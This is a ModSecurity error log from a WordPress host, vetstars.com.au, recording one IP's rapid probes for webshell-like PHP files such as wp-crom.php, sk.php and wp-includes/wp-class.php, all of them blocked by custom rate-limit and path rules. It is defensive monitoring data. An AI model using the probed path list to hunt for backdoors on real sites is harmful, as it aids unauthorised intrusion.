[Mon Dec 01 20:00:17.567285 2025] [:error] [pid 3246:tid 3270] [client 4.215.220.131:26432] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/multi.php"] [unique_id "aS2DUVkT8fezoNl7qjeCXAAAAFU"]
[Mon Dec 01 20:00:17.891061 2025] [:error] [pid 3384:tid 3397] [client 4.215.220.131:26517] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aS2DUYrlvm8bC96s6ZFTPgAAAIs"]
[Mon Dec 01 20:00:18.184726 2025] [:error] [pid 3384:tid 3393] [client 4.215.220.131:26570] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aS2DUorlvm8bC96s6ZFTQAAAAIc"]
[Mon Dec 01 20:00:18.469245 2025] [:error] [pid 3307:tid 3325] [client 4.215.220.131:53827] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aS2DUkhV_0w1hrv72n4ANgAAARA"]
[Mon Dec 01 20:00:18.760734 2025] [:error] [pid 3307:tid 3318] [client 4.215.220.131:26552] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aS2DUkhV_0w1hrv72n4ANwAAAQk"]
[Mon Dec 01 20:00:19.255316 2025] [:error] [pid 5158:tid 5179] [client 4.215.220.131:26590] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/uploads/images/autoload_classmap.php"] [unique_id "aS2DU1snIOgHXYZw9rY3BAAAAZM"]
[Mon Dec 01 20:00:19.625014 2025] [:error] [pid 3307:tid 3333] [client 4.215.220.131:26607] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/uploads/images/autoload_classmap.php"] [unique_id "aS2DU0hV_0w1hrv72n4AOAAAARg"]
[Mon Dec 01 20:00:20.184030 2025] [:error] [pid 3307:tid 3317] [client 4.215.220.131:26618] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/uploads/images/autoload_classmap.php"] [unique_id "aS2DVEhV_0w1hrv72n4AOgAAAQg"]
[Mon Dec 01 20:00:20.514057 2025] [:error] [pid 5158:tid 5177] [client 4.215.220.131:53821] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/uploads/images/autoload_classmap.php"] [unique_id "aS2DVFsnIOgHXYZw9rY3BgAAAZE"]
[Mon Dec 01 20:00:21.190107 2025] [:error] [pid 5158:tid 5183] [client 4.215.220.131:26564] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sk.php"] [unique_id "aS2DVVsnIOgHXYZw9rY3CAAAAZc"]
[Mon Dec 01 20:00:21.700347 2025] [:error] [pid 5120:tid 5125] [client 4.215.220.131:26611] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sk.php"] [unique_id "aS2DVT5X7_hfFhnUCkLWDQAAAUM"]
[Mon Dec 01 20:00:22.028041 2025] [:error] [pid 3307:tid 3314] [client 4.215.220.131:53831] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sk.php"] [unique_id "aS2DVkhV_0w1hrv72n4APAAAAQU"]
[Mon Dec 01 20:00:22.488874 2025] [:error] [pid 3247:tid 3276] [client 4.215.220.131:53846] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sk.php"] [unique_id "aS2DViMO2n3Q0MZfETI38wAAAMA"]
[Mon Dec 01 20:00:22.872492 2025] [:error] [pid 3246:tid 3266] [client 4.215.220.131:26501] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-crom.php"] [unique_id "aS2DVlkT8fezoNl7qjeCYgAAAFE"]
[Mon Dec 01 20:00:23.271282 2025] [:error] [pid 3384:tid 3407] [client 4.215.220.131:53809] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-crom.php"] [unique_id "aS2DV4rlvm8bC96s6ZFTSwAAAJU"]
[Mon Dec 01 20:00:23.678260 2025] [:error] [pid 3384:tid 3410] [client 4.215.220.131:53760] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-crom.php"] [unique_id "aS2DV4rlvm8bC96s6ZFTTgAAAJg"]
[Mon Dec 01 20:00:24.044269 2025] [:error] [pid 3247:tid 3280] [client 4.215.220.131:53822] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-crom.php"] [unique_id "aS2DWCMO2n3Q0MZfETI39QAAAMQ"]
[Mon Dec 01 20:00:24.529627 2025] [:error] [pid 3384:tid 3387] [client 4.215.220.131:26509] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "aS2DWIrlvm8bC96s6ZFTUgAAAIE"]
[Mon Dec 01 20:00:24.933882 2025] [:error] [pid 3343:tid 3351] [client 4.215.220.131:53815] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "aS2DWLLh6htIpruGDDnTJgAAAAY"]
[Mon Dec 01 20:00:25.213177 2025] [:error] [pid 3247:tid 3281] [client 4.215.220.131:53843] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "aS2DWSMO2n3Q0MZfETI3-wAAAMU"]
[Mon Dec 01 20:00:25.545523 2025] [:error] [pid 3247:tid 3297] [client 4.215.220.131:26600] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "aS2DWSMO2n3Q0MZfETI3_AAAANU"]
[Mon Dec 01 20:00:25.985048 2025] [:error] [pid 3246:tid 3262] [client 4.215.220.131:26472] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aS2DWVkT8fezoNl7qjeCZwAAAE0"]
[Mon Dec 01 20:00:26.424526 2025] [:error] [pid 3307:tid 3332] [client 4.215.220.131:53798] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aS2DWkhV_0w1hrv72n4ARAAAARc"]
[Mon Dec 01 20:00:26.671037 2025] [:error] [pid 5120:tid 5135] [client 4.215.220.131:26616] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aS2DWj5X7_hfFhnUCkLWEwAAAU0"]
[Mon Dec 01 20:00:27.181775 2025] [:error] [pid 3247:tid 3298] [client 4.215.220.131:26507] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aS2DWyMO2n3Q0MZfETI3_wAAANY"]
[Mon Dec 01 20:00:27.571871 2025] [:error] [pid 3307:tid 3329] [client 4.215.220.131:26527] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1100.php"] [unique_id "aS2DW0hV_0w1hrv72n4ARgAAARQ"]
[Mon Dec 01 20:00:27.860495 2025] [:error] [pid 3307:tid 3330] [client 4.215.220.131:26606] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1100.php"] [unique_id "aS2DW0hV_0w1hrv72n4ARwAAARU"]
[Mon Dec 01 20:00:28.133088 2025] [:error] [pid 3247:tid 3278] [client 4.215.220.131:53867] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1100.php"] [unique_id "aS2DXCMO2n3Q0MZfETI4BQAAAMI"]
[Mon Dec 01 20:00:28.528471 2025] [:error] [pid 3246:tid 3267] [client 4.215.220.131:26568] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1100.php"] [unique_id "aS2DXFkT8fezoNl7qjeCaAAAAFI"]
[Mon Dec 01 20:00:28.958666 2025] [:error] [pid 3246:tid 3265] [client 4.215.220.131:26518] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/403.php"] [unique_id "aS2DXFkT8fezoNl7qjeCagAAAFA"]
[Mon Dec 01 20:01:01.317396 2025] [:error] [pid 5158:tid 5163] [client 4.215.220.131:26496] [client 4.215.220.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aS2DfVsnIOgHXYZw9rY3aQAAAYM"]
[Mon Dec 01 20:01:12.772178 2025] [:error] [pid 3343:tid 3350] [client 4.215.220.131:53796] [client 4.215.220.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aS2DiLLh6htIpruGDDnTSwAAAAU"]
[Mon Dec 01 20:01:16.763011 2025] [:error] [pid 3247:tid 3298] [client 4.215.220.131:53787] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/product.php"] [unique_id "aS2DjCMO2n3Q0MZfETI4dwAAANY"]
[Mon Dec 01 20:01:17.082471 2025] [:error] [pid 5158:tid 5171] [client 4.215.220.131:26438] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/product.php"] [unique_id "aS2DjVsnIOgHXYZw9rY3jAAAAYs"]
[Mon Dec 01 20:01:17.445602 2025] [:error] [pid 3384:tid 3389] [client 4.215.220.131:53871] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/product.php"] [unique_id "aS2DjYrlvm8bC96s6ZFTpwAAAIM"]
[Mon Dec 01 20:01:17.745774 2025] [:error] [pid 3343:tid 3368] [client 4.215.220.131:53777] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/product.php"] [unique_id "aS2DjbLh6htIpruGDDnTUgAAABc"]
[Mon Dec 01 20:01:18.018032 2025] [:error] [pid 5158:tid 5172] [client 4.215.220.131:26521] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wi.php"] [unique_id "aS2DjlsnIOgHXYZw9rY3jwAAAYw"]
[Mon Dec 01 20:01:18.332952 2025] [:error] [pid 3246:tid 3260] [client 4.215.220.131:26522] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wi.php"] [unique_id "aS2DjlkT8fezoNl7qjeCugAAAEs"]
[Mon Dec 01 20:01:18.659143 2025] [:error] [pid 3246:tid 3255] [client 4.215.220.131:26433] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wi.php"] [unique_id "aS2DjlkT8fezoNl7qjeCvAAAAEY"]
[Mon Dec 01 20:01:18.923464 2025] [:error] [pid 3247:tid 3285] [client 4.215.220.131:53802] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wi.php"] [unique_id "aS2DjiMO2n3Q0MZfETI4fgAAAMk"]
[Mon Dec 01 20:01:19.229656 2025] [:error] [pid 5120:tid 5138] [client 4.215.220.131:26581] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mms.php"] [unique_id "aS2Djz5X7_hfFhnUCkLWgwAAAVA"]
[Mon Dec 01 20:01:19.528292 2025] [:error] [pid 3246:tid 3267] [client 4.215.220.131:53820] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mms.php"] [unique_id "aS2Dj1kT8fezoNl7qjeCvgAAAFI"]
[Mon Dec 01 20:01:19.864392 2025] [:error] [pid 3247:tid 3287] [client 4.215.220.131:53763] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mms.php"] [unique_id "aS2DjyMO2n3Q0MZfETI4gwAAAMs"]
[Mon Dec 01 20:01:20.251774 2025] [:error] [pid 3246:tid 3269] [client 4.215.220.131:26581] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mms.php"] [unique_id "aS2DkFkT8fezoNl7qjeCwQAAAFQ"]
[Mon Dec 01 20:01:20.688027 2025] [:error] [pid 3247:tid 3299] [client 4.215.220.131:26500] [client 4.215.220.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aS2DkCMO2n3Q0MZfETI4hAAAANc"]
[Mon Dec 01 20:01:21.199072 2025] [:error] [pid 3247:tid 3296] [client 4.215.220.131:26608] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v4.php"] [unique_id "aS2DkSMO2n3Q0MZfETI4hQAAANQ"]
[Mon Dec 01 20:01:21.570527 2025] [:error] [pid 3307:tid 3319] [client 4.215.220.131:53886] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v4.php"] [unique_id "aS2DkUhV_0w1hrv72n4AngAAAQo"]
[Mon Dec 01 20:01:21.973429 2025] [:error] [pid 3307:tid 3331] [client 4.215.220.131:26499] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v4.php"] [unique_id "aS2DkUhV_0w1hrv72n4AnwAAARY"]
[Mon Dec 01 20:01:22.289463 2025] [:error] [pid 3307:tid 3318] [client 4.215.220.131:26593] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v4.php"] [unique_id "aS2DkkhV_0w1hrv72n4AoAAAAQk"]
[Mon Dec 01 20:01:22.672124 2025] [:error] [pid 3307:tid 3329] [client 4.215.220.131:26525] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mn.php"] [unique_id "aS2DkkhV_0w1hrv72n4AogAAARQ"]
[Mon Dec 01 20:01:23.014919 2025] [:error] [pid 3307:tid 3333] [client 4.215.220.131:26601] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mn.php"] [unique_id "aS2Dk0hV_0w1hrv72n4AowAAARg"]
[Mon Dec 01 20:01:23.272919 2025] [:error] [pid 3246:tid 3265] [client 4.215.220.131:26529] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mn.php"] [unique_id "aS2Dk1kT8fezoNl7qjeCxAAAAFA"]
[Mon Dec 01 20:01:23.612111 2025] [:error] [pid 3307:tid 3311] [client 4.215.220.131:53808] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mn.php"] [unique_id "aS2Dk0hV_0w1hrv72n4ApgAAAQI"]
[Mon Dec 01 20:01:24.031818 2025] [:error] [pid 3307:tid 3317] [client 4.215.220.131:26588] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aS2DlEhV_0w1hrv72n4AqAAAAQg"]
[Mon Dec 01 20:01:24.307990 2025] [:error] [pid 3307:tid 3320] [client 4.215.220.131:26542] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aS2DlEhV_0w1hrv72n4AqgAAAQs"]
[Mon Dec 01 20:01:24.615216 2025] [:error] [pid 3307:tid 3315] [client 4.215.220.131:26583] [client 4.215.220.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aS2DlEhV_0w1hrv72n4ArQAAAQY"]
